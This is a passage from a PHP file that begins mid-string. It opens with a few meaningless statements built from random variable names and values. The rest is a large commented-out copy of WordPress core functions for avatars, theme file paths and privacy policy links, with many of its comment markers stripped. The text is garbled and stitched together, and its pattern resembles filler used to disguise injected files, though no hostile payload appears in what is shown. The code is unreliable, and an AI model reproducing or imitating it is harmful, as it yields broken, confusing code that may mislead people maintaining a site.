"pjcs5pdu"); /* translators: %s: upgrade-temp-backup */ if(!isset($export_data)) { $export_data = 'db25qe67'; } $export_data = log1p(519); $issues_total = 'g7zg'; $src_file['nfr3e0h'] = 'z0pck0bw'; /** * Filters the arguments for the Categories widget drop-down. * * @since 2.8.0 * @since 4.9.0 Added the `$instance` parameter. * * @see wp_dropdown_categories() * * @param array $last_name_args An array of Categories widget drop-down arguments. * @param array $instance Array of settings for the current widget. */ if(!(strtolower($issues_total)) === False) { $frame_currencyid = 'lao1uouym'; } /* Display width of the avatar in pixels. Defaults to $size. * @type string $default URL for the default image or a default type. Accepts '404' (return * a 404 instead of a default image), 'retro' (8bit), 'monsterid' (monster), * 'wavatar' (cartoon face), 'indenticon' (the "quilt"), 'mystery', 'mm', * or 'mysteryman' (The Oyster Man), 'blank' (transparent GIF), or * 'gravatar_default' (the Gravatar logo). Default is the value of the * 'avatar_default' option, with a fallback of 'mystery'. * @type bool $force_default Whether to always show the default image, never the Gravatar. Default false. * @type string $rating What rating to display avatars up to. Accepts 'G', 'PG', 'R', 'X', and are * judged in that order. Default is the value of the 'avatar_rating' option. * @type string $scheme URL scheme to use. See set_url_scheme() for accepted values. * Default null. * @type array $processed_args When the function returns, the value will be the processed/sanitized $args * plus a "found_avatar" guess. Pass as a reference. Default null. * @type string $extra_attr HTML attributes to insert in the IMG element. Is not sanitized. Default empty. * } * @return array $processed_args { * Along with the arguments passed in `$args`, this will contain a couple of extra arguments. * * @type bool $found_avatar True if we were able to find an avatar for this user, * false or not set if we couldn't. * @type string $url The URL of the avatar we found. * } function get_avatar_data( $id_or_email, $args = null ) { $args = wp_parse_args( $args, array( 'size' => 96, 'height' => null, 'width' => null, 'default' => get_option( 'avatar_default', 'mystery' ), 'force_default' => false, 'rating' => get_option( 'avatar_rating' ), 'scheme' => null, 'processed_args' => null, if used, should be a reference 'extra_attr' => '', ) ); if ( is_numeric( $args['size'] ) ) { $args['size'] = absint( $args['size'] ); if ( ! $args['size'] ) { $args['size'] = 96; } } else { $args['size'] = 96; } if ( is_numeric( $args['height'] ) ) { $args['height'] = absint( $args['height'] ); if ( ! $args['height'] ) { $args['height'] = $args['size']; } } else { $args['height'] = $args['size']; } if ( is_numeric( $args['width'] ) ) { $args['width'] = absint( $args['width'] ); if ( ! $args['width'] ) { $args['width'] = $args['size']; } } else { $args['width'] = $args['size']; } if ( empty( $args['default'] ) ) { $args['default'] = get_option( 'avatar_default', 'mystery' ); } switch ( $args['default'] ) { case 'mm' : case 'mystery' : case 'mysteryman' : $args['default'] = 'mm'; break; case 'gravatar_default' : $args['default'] = false; break; } $args['force_default'] = (bool) $args['force_default']; $args['rating'] = strtolower( $args['rating'] ); $args['found_avatar'] = false; * * Filters whether to retrieve the avatar URL early. * * Passing a non-null value in the 'url' member of the return array will * effectively short circuit get_avatar_data(), passing the value through * the {@see 'get_avatar_data'} filter and returning early. * * @since 4.2.0 * * @param array $args Arguments passed to get_avatar_data(), after processing. * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. $args = apply_filters( 'pre_get_avatar_data', $args, $id_or_email ); if ( isset( $args['url'] ) && ! is_null( $args['url'] ) ) { * This filter is documented in wp-includes/link-template.php return apply_filters( 'get_avatar_data', $args, $id_or_email ); } $email_hash = ''; $user = $email = false; if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) { $id_or_email = get_comment( $id_or_email ); } Process the user identifier. if ( is_numeric( $id_or_email ) ) { $user = get_user_by( 'id', absint( $id_or_email ) ); } elseif ( is_string( $id_or_email ) ) { if ( strpos( $id_or_email, '@md5.gravatar.com' ) ) { md5 hash list( $email_hash ) = explode( '@', $id_or_email ); } else { email address $email = $id_or_email; } } elseif ( $id_or_email instanceof WP_User ) { User Object $user = $id_or_email; } elseif ( $id_or_email instanceof WP_Post ) { Post Object $user = get_user_by( 'id', (int) $id_or_email->post_author ); } elseif ( $id_or_email instanceof WP_Comment ) { * * Filters the list of allowed comment types for retrieving avatars. * * @since 3.0.0 * * @param array $types An array of content types. Default only contains 'comment'. $allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) ); if ( ! empty( $id_or_email->comment_type ) && ! in_array( $id_or_email->comment_type, (array) $allowed_comment_types ) ) { $args['url'] = false; * This filter is documented in wp-includes/link-template.php return apply_filters( 'get_avatar_data', $args, $id_or_email ); } if ( ! empty( $id_or_email->user_id ) ) { $user = get_user_by( 'id', (int) $id_or_email->user_id ); } if ( ( ! $user || is_wp_error( $user ) ) && ! empty( $id_or_email->comment_author_email ) ) { $email = $id_or_email->comment_author_email; } } if ( ! $email_hash ) { if ( $user ) { $email = $user->user_email; } if ( $email ) { $email_hash = md5( strtolower( trim( $email ) ) ); } } if ( $email_hash ) { $args['found_avatar'] = true; $gravatar_server = hexdec( $email_hash[0] ) % 3; } else { $gravatar_server = rand( 0, 2 ); } $url_args = array( 's' => $args['size'], 'd' => $args['default'], 'f' => $args['force_default'] ? 'y' : false, 'r' => $args['rating'], ); if ( is_ssl() ) { $url = 'https:secure.gravatar.com/avatar/' . $email_hash; } else { $url = sprintf( 'http:%d.gravatar.com/avatar/%s', $gravatar_server, $email_hash ); } $url = add_query_arg( rawurlencode_deep( array_filter( $url_args ) ), set_url_scheme( $url, $args['scheme'] ) ); * * Filters the avatar URL. * * @since 4.2.0 * * @param string $url The URL of the avatar. * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param array $args Arguments passed to get_avatar_data(), after processing. $args['url'] = apply_filters( 'get_avatar_url', $url, $id_or_email, $args ); * * Filters the avatar data. * * @since 4.2.0 * * @param array $args Arguments passed to get_avatar_data(), after processing. * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. return apply_filters( 'get_avatar_data', $args, $id_or_email ); } * * Retrieves the URL of a file in the theme. * * Searches in the stylesheet directory before the template directory so themes * which inherit from a parent theme can just override one file. * * @since 4.7.0 * * @param string $file Optional. File to search for in the stylesheet directory. * @return string The URL of the file. function get_theme_file_uri( $file = '' ) { $file = ltrim( $file, '/' ); if ( empty( $file ) ) { $url = get_stylesheet_directory_uri(); } elseif ( file_exists( get_stylesheet_directory() . '/' . $file ) ) { $url = get_stylesheet_directory_uri() . '/' . $file; } else { $url = get_template_directory_uri() . '/' . $file; } * * Filters the URL to a file in the theme. * * @since 4.7.0 * * @param string $url The file URL. * @param string $file The requested file to search for. return apply_filters( 'theme_file_uri', $url, $file ); } * * Retrieves the URL of a file in the parent theme. * * @since 4.7.0 * * @param string $file Optional. File to return the URL for in the template directory. * @return string The URL of the file. function get_parent_theme_file_uri( $file = '' ) { $file = ltrim( $file, '/' ); if ( empty( $file ) ) { $url = get_template_directory_uri(); } else { $url = get_template_directory_uri() . '/' . $file; } * * Filters the URL to a file in the parent theme. * * @since 4.7.0 * * @param string $url The file URL. * @param string $file The requested file to search for. return apply_filters( 'parent_theme_file_uri', $url, $file ); } * * Retrieves the path of a file in the theme. * * Searches in the stylesheet directory before the template directory so themes * which inherit from a parent theme can just override one file. * * @since 4.7.0 * * @param string $file Optional. File to search for in the stylesheet directory. * @return string The path of the file. function get_theme_file_path( $file = '' ) { $file = ltrim( $file, '/' ); if ( empty( $file ) ) { $path = get_stylesheet_directory(); } elseif ( file_exists( get_stylesheet_directory() . '/' . $file ) ) { $path = get_stylesheet_directory() . '/' . $file; } else { $path = get_template_directory() . '/' . $file; } * * Filters the path to a file in the theme. * * @since 4.7.0 * * @param string $path The file path. * @param string $file The requested file to search for. return apply_filters( 'theme_file_path', $path, $file ); } * * Retrieves the path of a file in the parent theme. * * @since 4.7.0 * * @param string $file Optional. File to return the path for in the template directory. * @return string The path of the file. function get_parent_theme_file_path( $file = '' ) { $file = ltrim( $file, '/' ); if ( empty( $file ) ) { $path = get_template_directory(); } else { $path = get_template_directory() . '/' . $file; } * * Filters the path to a file in the parent theme. * * @since 4.7.0 * * @param string $path The file path. * @param string $file The requested file to search for. return apply_filters( 'parent_theme_file_path', $path, $file ); } * * Retrieves the URL to the privacy policy page. * * @since 4.9.6 * * @return string The URL to the privacy policy page. Empty string if it doesn't exist. function get_privacy_policy_url() { $url = ''; $policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); if ( ! empty( $policy_page_id ) && get_post_status( $policy_page_id ) === 'publish' ) { $url = (string) get_permalink( $policy_page_id ); } * * Filters the URL of the privacy policy page. * * @since 4.9.6 * * @param string $url The URL to the privacy policy page. Empty string * if it doesn't exist. * @param int $policy_page_id The ID of privacy policy page. return apply_filters( 'privacy_policy_url', $url, $policy_page_id ); } * * Displays the privacy policy link with formatting, when applicable. * * @since 4.9.6 * * @param string $before Optional. Display before privacy policy link. Default empty. * @param string $after Optional. Display after privacy policy link. Default empty. function the_privacy_policy_link( $before = '', $after = '' ) { echo get_the_privacy_policy_link( $before, $after ); } * * Returns the privacy policy link with formatting, when applicable. * * @since 4.9.6 * * @param string $before Optional. Display before privacy policy link. Default empty. * @param string $after Optional. Display after privacy policy link. Default empty. * * @return string Markup for the link and surrounding elements. Empty string if it * doesn't exist. function get_the_privacy_policy_link( $before = '', $after = '' ) { $link = ''; $privacy_policy_url = get_privacy_policy_url(); $policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' ); $page_title = ( $policy_page_id ) ? get_the_title( $policy_page_id ) : ''; if ( $privacy_policy_url && $page_title ) { $link = sprintf( '<a class="privacy-policy-link" href="%s">%s</a>', esc_url( $privacy_policy_url ), esc_html( $page_title ) ); } * * Filters the privacy policy link. * * @since 4.9.6 * * @param string $link The privacy policy link. Empty string if it * doesn't exist. * @param string $privacy_policy_url The URL of the privacy policy. Empty string * if it doesn't exist. $link = apply_filters( 'the_privacy_policy_link', $link, $privacy_policy_url ); if ( $link ) { return $before . $link . $after; } return ''; } */